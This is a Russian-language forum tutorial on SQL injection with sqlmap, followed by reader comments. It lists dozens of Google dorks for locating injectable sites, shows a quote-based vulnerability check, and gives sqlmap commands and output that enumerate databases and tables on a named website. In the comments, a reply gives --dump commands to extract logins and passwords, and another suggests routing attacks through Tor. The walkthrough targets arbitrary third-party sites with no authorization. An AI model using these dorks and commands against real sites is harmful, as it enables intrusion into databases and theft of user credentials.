• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (часть 1)

1537212931020.png


SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (2 часть)

Sqlmap является инструментом для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации недостатков SQL-инъекций и захвата серверов баз данных.

Он оснащен мощным механизмом обнаружения, множеством функций конечного тестировщика на проникновения и широким спектром коммутаторов, который начинается от определения базы данных и выбора данных из нее, вплоть до доступа к базовой файловой системе и выполнения команд в операционной системе через внеполосное соединение.

Будущее инструмента:
  • Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB и Informix.
  • Полная поддержка шести методов SQL-инъекций: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries и out-of-band.
  • Поддержка прямого подключения к базе данных без прохождения через SQL-инъекцию, путем предоставления учетных данных СУБД (система управления базой данных (DBMS)), IP-адреса, имени порта и названия базы данных.
  • Поддержка перечисления пользователей, хэшей паролей, прав доступа, ролей, баз данных, таблиц и столбцов.
  • Автоматическое распознавание хэш-форматов пароля и поддержка их взлома при использовании атаки перебора по словарю (dictionary-based attack).
  • Поддержка полного сброса таблиц базы данных, диапазон записей для сброса или конкретных столбцов выбирает пользователь. Также пользователь может выбрать сброс всего диапазона символов из каждой записи столбца.
  • Поддержка поиска конкретных имен баз данных, конкретных таблиц во всех базах данных или отдельных столбцах во всех таблицах баз данных. Это довольно полезно, например, для определения таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат строку, такую как имя и пароль.
  • Поддержка скачивания (download) и загрузки (upload) любого файла с базы данных, лежащей в основе файловой системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка выполнения случайных команд и получение их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка создания внеполосного TCP-соединения с учетом его состояния между машиной злоумышленника и сервером базы данных, лежащим в основе операционной системы. Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического интерфейса пользователя (VNC) по выбору пользователя.
  • Поддержка увеличения прав доступа пользователей базы данных с помощью команды metasploit Meterpreter getsystem.
Техники и методы:
sqlmap способна определять и эксплуатировать пять различных типов SQL инъекций, таких как:

Boolean-based blind:
  • sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую субпредложение SELECT, или любое другое предложение SQL, пользователь которого хочет получить вывод.
  • Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Кроме того, пользователь может предоставить строку или регулярное выражение для соответствия на настоящих страницах.
  • Алгоритм деления пополам, реализованный в sqlmap для выполнения этой методики, способен извлекать каждый символ вывода с максимальным количеством семи HTTP-запросов.
  • Если вывод не находится в четкой текстовой кодировке, sqlmap будет адаптировать алгоритм с более большим диапазонами для определения вывода.
Time-based blind:
  • sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую запрос, который приостанавливает внутренний СУБД (система управления базой данных (DBMS)) на определенное количество секунд.
  • Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Как и для Boolean-based метода, применяется алгоритм деления пополам.
Error-based:
  • sqlmap заменяет или добавляет к пораженному параметру конкретное сообщение об ошибке базы данных, вызывая предложения и анализируя headers и body отклика HTTP в поисках сообщений об ошибках СУБД (система управления базой данных (DBMS)), содержащих введенную предварительно определенную цепочку символов и вывод подзапроса предложения внутри.
  • Этот метод работает только тогда, когда веб-приложение настроено для раскрытия системных сообщений об ошибках системы управления базой данных.
UNION query-based:
  • sqlmap заменяет или добавляет к пораженному параметру синтаксически корректную строку предложения SQL, которая начинается с UNION ALL SELECT. Этот метод работает, когда страница веб-приложения передает непосредственно вывод предложения SELECT в цикле for или аналогично, так что каждая строка вывода запроса печатается на содержимом страницы.
  • sqlmap также может использовать частичные (одиночные записи) уязвимости UNION query SQL инъекции, которые возникают, когда вывод предложения не циклируется в логической структуре for, тогда как отображается только первая запись вывода запроса.
Stacked queries:
  • также известна как piggy backing: sqlmap проверяет, поддерживает ли веб-приложение многострочные запросы, а затем, если оно поддерживает, добавляет к пораженному параметру в HTTP-запросе, в котором используется точка с запятой ( ; ) с предложением SQL, которое должно быть выполнено.
  • Этот метод полезен для запуска предложений SQL, помимо SELECT, как например, для определения данных или предложений манипулирования данными, что может привести к выполнению команд чтения и записи файловой системы и операционной системы в зависимости от лежащей в основе системы управления базами данных и правами доступа пользователя сеанса.
Поиск уязвимого вебсайта:
Обычно это самый сложный бит и занимает больше времени, чем любые другие шаги. Те, кто знает, как использовать Google Dorks, знают об этом уже, но в случае, если вы не сталкивались с этим ранее, я собрал несколько строк, которые вы можете забить в поиск в Google. Просто скопируйте любую из строк в Google, и Google покажет вам ряд результатов поиска.

Google dork:

Google dorks - их оставляют сотрудники, которые неосознанно предоставляют конфиденциальную корпоративную информацию в Интернете. Слово dork является сленгом для малозначительного или малоспособного человека.

Google dork ставит под угрозу корпоративную информацию, потому что они невольно создают бэкдоры, которые позволяют злоумышленнику войти в сеть без разрешения и/или получить доступ к несанкционированной информации. Чтобы найти конфиденциальную информацию, злоумышленники используют расширенные строки поиска, называемые запросами Google dork.

Строки Google Dorks для поиска уязвимого веб-сайта для SQLMAP SQL для инъекций:

Строка Google Dork колонка 1
Код:
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:index.php?catid=
inurl:news.php?catid=
inurl:index.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
Код:
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:eek:pinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:eek:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:eek:gl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:eek:pinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
Код:
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
about.php?cartID=
accinfo.php?cartId=
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=

Шаг 1: Первоначальная проверка для того, чтобы убедиться, что сайт уязвим для SQLMAP SQL инъекции
Для каждой строки указанной выше вы получите сотни результатов поиска, но как вы узнаете, какой из них действительно уязвим для SQLMAP SQL инъекции. Есть несколько способов, и я уверен, что люди будут спорить, какой из них лучше, но для меня следующее является самым простым и самым убедительным.

Предположим, вы искали эту строку inurl:item_id= и один из результатов поиска Google показывает такой веб-сайт:
Код:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434
Просто добавьте знак кавычек ‘ в конце URL-адреса. (Только предварительно убедитесь, что " это двойная кавычка, а знак" ‘ "- одиночная кавычка).

Итак, теперь ваш URL-адрес будет выглядеть следующим образом:
Код:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434'
Если страница возвращает ошибку SQL, страница уязвима для SQLMAP SQL инъекции. Если она загружает или перенаправляет вас на другую страницу, перейдите на следующий сайт на странице результатов поиска Google.

Смотрите пример ошибки ниже на скриншоте. Я скрыл все, включая URL и дизайн страниц по очевидным причинам.

1537213398288.png


Примеры ошибок SQLi из разных баз данных и языков

Microsoft SQL Сервер
Ошибка сервера в ‘/’ приложении. Незакрытая кавычка перед символьной строкой 'attack;'.

Описание: Необработанное исключение возникло во время выполнения текущего веб-запроса. Просмотрите трассировку стека для получения дополнительной информации об ошибке, когда она возникла в коде.

Сведения об исключении: System.Data.SqlClient.SqlException: незакрытая кавычка перед символьной строкой 'attack;'.

Ошибки MySQL
Предупреждение: mysql_fetch_array (): предоставленный аргумент не является допустимым MySQL результатом ресурса в /var/www/myawesomestore.com/buystuff.php в строке 12

Ошибка: У вас есть ошибка в синтаксисе SQL: проверьте руководство, соответствующее версии вашего сервера MySQL, для правильного синтаксиса, используемого рядом с ‘’’ в строке 12

Ошибки Oracle
java.sql.SQLException: ORA-00933: команда SQL не была закончена в oracle.jdbc.dbaaccess.DBError.throwSqlException (DBError.java:180) в oracle.jdbc.ttc7.TTIoer.processError (TTIoer.java:208)

Ошибка: SQLExceptionjava.sql.SQLException: ORA-01756: строка с кавычками не завершена

Ошибки PostgreSQL
Запрос не выполнен: ОШИБКА: незавершенная строка с кавычками в или рядом с “‘’’”

Шаг 2: Перечисление СУБД баз данных с использованием SQLMAP SQL инъекции:
Как вы можете видеть на скриншоте выше, я нашел веб-сайт уязвимый к SQLMAP SQL инъекции. Теперь мне нужно перечислить все базы данных в этой уязвимой базе данных. (это также называется перечислением числа столбцов). Ввиду того, что я использую SQLMAP, он также скажет мне, какая именно уязвима.

Запустите следующую команду на вашем уязвимом веб-сайте.
Код:
sqlmap -u http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434 --dbs
Здесь:
sqlmap = Название sqlmap двоичного файла
-u = Целевой URL-адрес (e.g. “ )
–dbs = Перечислить СУБД базы данных

Смотрите скриншот ниже.

1537213525401.png


Эти команды показывают немало интересной информации:
Код:
web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: gbhackers
[10:55:56] [INFO] fetched data logged to text files under
'/usr/share/sqlmap/output/www.gbhackers.com'
Итак, теперь у нас есть две базы данных, которые мы можем изучить. information_schema - стандартная база данных почти для каждой MYSQL базы данных. Поэтому нас интересует база данных clemcoindustries.

Шаг 3: Список таблиц целевой базы данных с использованием SQLMAP SQL инъекции:
Теперь нам нужно знать, сколько таблиц получила база данных clemcoindustries и каковы их имена. Чтобы узнать эту информацию, используйте следующую команду:
Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
clemcoindustries --tables
эта база данных имеет 8 таблиц.
Код:
[10:56:20] [INFO] fetching tables for database: 'gbhackers'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info
1537213628618.png


и, конечно, мы хотим проверить, что внутри таблицы user_info, используя SQLMAP SQL инъекцию, поскольку эта таблица, вероятно, содержит имя пользователя и пароли.

Источник:
 
M

Magnit

Объясните или, если не сложно, дайте ссылку где описано, в чем разница в параметрах --level u --risk
Много инфы, да и на практике CTF не один раз валил БД с --level=5 --risk=3
при включении v3 увидел разницу, что при параметре risk=1 не используются where, он требует risk=3, но что к примеру делает risk=2, и levels не понимаю
спасибо за ответ
 

Sqlshik

One Level
07.01.2020
1
1
BIT
0
И oпять вызываем уже знакомую процедуру --columns (колоночки) но уже по таблице "user_".
Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info --columns

Далее меня заинтересовало то что в сети находяться 4ре хоста, но в колоночке Избыточность...
 
Последнее редактирование:
  • Нравится
Реакции: ace911

B6D4

Green Team
22.12.2019
30
5
BIT
0
1578498912726.png

И что дальше делать?как увидеть логин и пароль?

Яполный ламер,не судите строго.
 

explorer

Platinum
05.08.2018
1 081
2 474
BIT
14
Посмотреть вложение 36737
И что дальше делать?как увидеть логин и пароль?

Яполный ламер,не судите строго.
sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы -C название колонки --dump
или ещё проще, без названия колонки, вытащит сразу все данные изо всех колонок (применять, если данных мало)
sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы --dump
 
  • Нравится
Реакции: Factory и ace911

Hudjii5

Green Team
17.09.2019
14
2
BIT
0
Объясните или, если не сложно, дайте ссылку где описано, в чем разница в параметрах --level u --risk
Много инфы, да и на практике CTF не один раз валил БД с --level=5 --risk=3
при включении v3 увидел разницу, что при параметре risk=1 не используются where, он требует risk=3, но что к примеру делает risk=2, и levels не понимаю
спасибо за ответ
Тоже хотелось бы подробнее узнать
 

sith_ortodox

Green Team
11.10.2018
50
33
BIT
22
Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)
 

kravl

Green Team
19.08.2018
54
10
BIT
0
Можно ли эти знания применять определенно на 1 сайт или только, те которые имеют подобный дорк ?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!